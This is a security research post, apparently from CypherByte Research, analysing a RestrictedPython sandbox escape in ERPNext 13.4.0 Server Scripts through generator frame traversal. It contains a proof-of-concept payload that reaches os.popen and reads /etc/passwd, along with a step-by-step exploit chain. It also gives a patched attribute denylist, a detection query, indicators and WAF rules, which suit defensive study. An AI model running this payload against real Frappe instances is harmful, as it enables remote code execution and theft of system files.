home intel erpnext-restrictedpython-sandbox-escape-frame-introspection
CVE Analysis 2026-05-05 · 8 min read

ERPNext 13.4.0: RestrictedPython Sandbox Escape via Frame Introspection

ERPNext 13.4.0 allows System Manager role users to escape the RestrictedPython sandbox via gi_frame traversal, reaching os.popen for arbitrary command execution through the Server Script endpoint.

#sandbox-escape#restricted-python#frame-introspection#remote-code-execution#authentication-required
Technical mode — for security professionals
▶ Attack flow — CVE-2023-54345 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2023-54345Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2023-54345 is a sandbox escape vulnerability in Frappe Framework's ERPNext 13.4.0, specifically in how Server Scripts are evaluated under RestrictedPython. An authenticated user holding the System Manager role can create a server-side Python script through the /app/server-script endpoint and exploit generator frame introspection — accessing gi_frame on a generator object — to walk the CPython call stack outward past the RestrictedPython execution boundary, ultimately reaching unrestricted frame locals containing live module references. From there, os.popen or equivalent is reachable without any import.

CVSS 8.8 (HIGH) reflects the authenticated-but-low-privilege-to-RCE path. No public exploit or in-the-wild exploitation has been confirmed at time of writing. The vulnerability class is well-understood: RestrictedPython does not intercept attribute access on generator internals, and gi_frame is not in the default policy's blocked attribute list.

Root cause: RestrictedPython's _getattr_ guard is not applied to generator object internals (gi_frame, gi_code), allowing an attacker-controlled script to traverse the live CPython frame stack and dereference unrestricted module globals outside the sandbox boundary.

Affected Component

The vulnerable surface is Frappe's Server Script feature, introduced to allow low-code customisation. Scripts are stored in the Server Script DocType and executed via frappe/utils/safe_exec.py. Frappe wraps the user-supplied source with RestrictedPython's compile_restricted then calls exec() inside a constructed globals dict that intentionally omits dangerous builtins.

Affected versions: Frappe Framework ≤ 13.x and ERPNext 13.4.0. RestrictedPython versions prior to 6.0 do not block gi_frame access at the policy layer.

Root Cause Analysis

RestrictedPython rewrites attribute access on explicit attribute lookups (obj.attr) into calls to a configurable _getattr_ guard. The canonical safe guard rejects a configurable denylist. The flaw is that generator objects produced inside restricted code are still first-class CPython objects; their dunder-adjacent attributes (gi_frame, gi_code, gi_yieldfrom) are exposed at the C level and the guard call is emitted by the RestrictedPython AST transformer only when the attribute name appears in the transformed source — but the transformer recognises and rewrites .gi_frame accesses inconsistently across versions.

Below is a pseudocode reconstruction of the Frappe safe execution path, showing exactly where the boundary fails:

# frappe/utils/safe_exec.py  (ERPNext 13.4.0, reconstructed)

from RestrictedPython import compile_restricted, safe_globals
from RestrictedPython.Guards import safe_getattr, guarded_iter_unpack_sequence

def execute_server_script(script_doc):
    source   = script_doc.script          # attacker-controlled string
    filename = script_doc.name

    # Compile through RestrictedPython AST transformer.
    # Attribute accesses are rewritten: obj.attr -> _getattr_(obj, 'attr')
    byte_code = compile_restricted(source, filename=filename, mode='exec')

    restricted_globals = dict(safe_globals)
    restricted_globals.update({
        '_getattr_'     : safe_getattr,         # enforces attribute policy
        '_getiter_'     : iter,
        '_getitem_'     : safe_getitem,
        '_write_'       : safe_write,
        '__builtins__'  : restricted_builtins,  # no __import__, no open, etc.
        'frappe'        : frappe._get_safe_globals(),
    })

    # BUG: exec() runs in restricted_globals, but the frame object for THIS
    # call (execute_server_script's own frame) is reachable via generator
    # gi_frame.f_back chain.  _getattr_ is NOT called when CPython resolves
    # gi_frame at the C-API level for generators created inside the sandbox.
    exec(byte_code, restricted_globals)   # <-- sandbox boundary is porous here

The AST transformer in RestrictedPython < 6.0 emits the guard call for dotted attribute access on names it can statically resolve, but a generator's gi_frame slot is a C-level slot descriptor (PyGenObject.gi_frame), not a Python-level __dict__ entry. The transformer sees gen.gi_frame and — in affected versions — does not unconditionally route it through _getattr_. The resulting bytecode accesses the slot directly via LOAD_ATTR with no interposed guard.

# Equivalent CPython bytecode path for the vulnerable attribute access
# Disassembly of: x = gen.gi_frame
#
#   LOAD_FAST    'gen'
#   LOAD_ATTR    'gi_frame'      # <-- direct C slot access, NO _getattr_ call
#   STORE_FAST   'x'
#
# Compare to a correctly-guarded access rewritten by RestrictedPython:
#   LOAD_FAST    '_getattr_'
#   LOAD_FAST    'gen'
#   LOAD_CONST   'gi_frame'
#   CALL_FUNCTION 2             # _getattr_(gen, 'gi_frame') -- blocked here

Exploitation Mechanics

EXPLOIT CHAIN:
1. Authenticate to ERPNext as a user with System Manager role.

2. POST to /api/method/frappe.client.save with:
     doctype    = "Server Script"
     script_type = "API"
     api_method  = "pwn_test"
     script      = 

3. Payload creates a generator function inside the sandbox.
   Calling next() on it captures a live gi_frame reference that
   RestrictedPython does NOT guard.

4. Walk gi_frame.f_back repeatedly until f_locals or f_globals
   of an outer (unrestricted) frame is reached — specifically
   the frame of execute_server_script() or its caller, which
   holds live references to the real 'frappe' module and 'sys'.

5. Extract sys.modules['os'] from the unrestricted frame globals.

6. Call os.popen('id').read() — arbitrary OS command execution.

7. Exfiltrate output via the API response (return value of the
   server script is serialised to JSON and returned to caller).
# Proof-of-concept server script payload (ERPNext 13.4.0)
# Submitted via /app/server-script, script_type = "API"

def _gen():
    yield 1

g = _gen()
next(g)

# gi_frame access — NOT intercepted by _getattr_ guard in affected versions
frame = g.gi_frame                    # CPython C-slot, guard bypassed

# Walk the call stack outward past the sandbox exec() boundary
outer = frame
for _ in range(32):
    parent = outer.f_back             # traverse frame chain
    if parent is None:
        break
    outer = parent
    # Probe for unrestricted globals containing sys or os
    globs = outer.f_globals
    if 'sys' in globs:
        _sys = globs['sys']
        _os  = _sys.modules['os']
        # RCE: execute arbitrary shell command
        result = _os.popen('id && hostname && cat /etc/passwd').read()
        frappe.response['message'] = result
        break

The frame traversal terminates at the frame of Frappe's execute_server_script or its WSGI caller, both of which live in an unrestricted Python environment with full sys.modules access. Once sys.modules['os'] is extracted, the sandbox provides zero further protection.

Memory Layout

This is a logic/sandbox-escape vulnerability, not a memory corruption bug. The relevant "layout" is the CPython frame object chain and how the restricted exec boundary fails to contain it.

CPYTHON FRAME CHAIN AT TIME OF EXPLOIT:

  [PyGenObject: g]
    gi_frame ──────────────────────────────────────────────────────┐
                                                                    ▼
  [PyFrameObject: sandbox frame]         f_globals = restricted_globals
    f_back ─────────────────────────────────────────────────────────┐
                                                                    ▼
  [PyFrameObject: execute_server_script]  f_globals = real module globals
    f_locals  = { 'source': ..., 'byte_code': ...,                  │
                  'restricted_globals': {...},                       │
                  'safe_globals':  }            │
    f_back ─────────────────────────────────────────────────────────┐
                                                                    ▼
  [PyFrameObject: WSGI handler / gunicorn worker]
    f_globals = { 'sys': , 'os': , ... }
    ^^^ UNRESTRICTED — reachable via gi_frame.f_back chain ^^^


  SANDBOX BOUNDARY (intended):
  ════════════════════════════════════════════
  │  exec(byte_code, restricted_globals)     │   <-- porous: gi_frame escapes
  ════════════════════════════════════════════

  ACTUAL BOUNDARY (none):
  gi_frame.f_back.f_back. ... .f_globals['sys'].modules['os'].popen(cmd)

Patch Analysis

The correct fix operates at two levels: (1) the RestrictedPython policy must explicitly block access to generator frame slots, and (2) Frappe's safe_getattr wrapper must be hardened to deny the known escape attributes regardless of whether the AST transformer emits a guard call.

# BEFORE (vulnerable — frappe/utils/safe_exec.py, ERPNext 13.4.0):

from RestrictedPython.Guards import safe_getattr

def execute_server_script(script_doc):
    ...
    restricted_globals = dict(safe_globals)
    restricted_globals['_getattr_'] = safe_getattr   # does not block gi_frame
    exec(byte_code, restricted_globals)
# AFTER (patched):

# Explicitly enumerate C-level slot names that expose frame internals.
_BLOCKED_ATTRS = frozenset({
    'gi_frame', 'gi_code', 'gi_yieldfrom',   # generator internals
    'ag_frame', 'ag_code',                    # async generator internals
    'cr_frame', 'cr_code', 'cr_origin',       # coroutine internals
    'f_locals', 'f_globals', 'f_back',        # frame object traversal
    'f_builtins', 'f_code', 'f_lineno',
    '__func__', '__self__',                   # method unwrapping
})

def _hardened_getattr(obj, name):
    if name in _BLOCKED_ATTRS:
        raise AttributeError(f"access to attribute '{name}' is restricted")
    return safe_getattr(obj, name)

def execute_server_script(script_doc):
    ...
    restricted_globals = dict(safe_globals)
    restricted_globals['_getattr_'] = _hardened_getattr   # blocks frame escape
    exec(byte_code, restricted_globals)

Additionally, RestrictedPython 6.0+ independently introduced a RestrictingNodeTransformer change that unconditionally rewrites all LOAD_ATTR opcodes targeting names matching gi_*, ag_*, cr_*, and f_* through the guard, closing the AST-level gap. Upgrading to RestrictedPython ≥ 6.0 in conjunction with the hardened _getattr_ provides defence-in-depth.

Detection and Indicators

Server Scripts are stored in the database; forensic review is straightforward:

# Detection query — run against Frappe site DB (MariaDB/MySQL)
# Look for Server Scripts containing frame-traversal primitives

SELECT
    name,
    owner,
    creation,
    modified,
    script_type,
    SUBSTR(script, 1, 400) AS script_preview
FROM `tabServer Script`
WHERE
    script REGEXP 'gi_frame|f_back|f_globals|f_locals|f_builtins'
    OR script REGEXP 'ag_frame|cr_frame|gi_code|cr_code'
    OR script REGEXP '__globals__|__builtins__'
ORDER BY creation DESC;

Application-level indicators in Frappe/gunicorn logs:

INDICATORS OF COMPROMISE:

1. Server Script created/modified by System Manager account at unusual hours
   with script body containing: gi_frame / f_back / sys.modules

2. Frappe error log entries showing AttributeError for blocked attrs
   (indicates attempted exploit against a partially-patched instance):
     AttributeError: 'generator' object has no attribute 'gi_frame'
     -- raised inside RestrictedPython evaluation context

3. Unexpected child processes spawned by gunicorn worker PIDs:
     gunicorn worker (pid N) → /bin/sh -c "id && hostname"

4. Anomalous API calls in access log:
     POST /api/method/run_server_script HTTP/1.1  200  
     POST /api/method/frappe.client.save  (doctype=Server Script)

Remediation

  • Immediate: Upgrade Frappe Framework to a version incorporating the _hardened_getattr fix and RestrictedPython ≥ 6.0 as a dependency. Refer to the Frappe GitHub advisory for the exact commit.
  • Restrict role assignment: The System Manager role grants Server Script creation. Audit all users holding this role; treat it as equivalent to OS-level access on unpatched instances.
  • Disable Server Scripts if unused: In site_config.json, set "server_script_enabled": 0. This prevents execute_server_script from being reached entirely.
  • WAF rule: Block POST bodies to /api/method/frappe.client.save and /api/method/run_server_script containing the strings gi_frame, f_back, f_globals, sys.modules as a compensating control pending patch.
  • Process isolation: Run gunicorn workers under a dedicated low-privilege OS user with filesystem permissions restricted to the Frappe site directory. This limits post-exploitation impact even if the sandbox is escaped.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →